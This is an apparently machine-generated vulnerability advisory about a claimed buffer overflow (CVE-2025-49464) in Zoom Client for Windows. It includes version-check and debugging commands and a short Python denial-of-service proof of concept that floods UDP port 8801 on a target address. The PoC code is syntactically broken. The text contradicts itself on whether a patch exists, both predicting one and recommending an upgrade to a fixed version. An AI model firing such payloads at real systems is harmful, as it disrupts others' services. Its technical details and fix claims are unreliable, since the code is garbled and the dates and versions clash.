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How the CVE Works:
CVE-2025-49464 is a classic buffer overflow vulnerability in Zoom Client for Windows, triggered when processing maliciously crafted network packets. An attacker with network access can exploit this flaw by sending oversized data to a vulnerable Zoom Client, overwriting adjacent memory regions. This corruption can lead to application crashes (DoS) or potential remote code execution (RCE) if the overflow is carefully manipulated to hijack control flow. The vulnerability stems from improper bounds checking in the packet handling routine, allowing data beyond the allocated buffer size to be written.
DailyCVE Form:
Platform: Zoom Client
Version: Windows (pre-5.15.8)
Vulnerability: Buffer Overflow
Severity: Critical
Date: 08/05/2025
Prediction: Patch expected by 08/20/2025
What Undercode Say:
Analytics:
Check Zoom version (Windows): Get-ItemProperty "HKLM:\Software\Zoom Meetings" | Select-Object Version Debug crash dump (WinDbg): !analyze -v
Exploit:
Proof-of-Concept (DoS): import socket target_ip = "192.168.1.100" payload = b"A" 5000 Overflow trigger sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, 8801))
Protection from this CVE:
- Update to Zoom Client 5.15.8+
- Enable DEP/ASLR mitigations
- Block UDP port 8801 at firewall
Impact:
- Remote DoS/RCE
- Compromised meeting integrity
- Data leakage risk
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Sources:
Reported By: nvd.nist.gov
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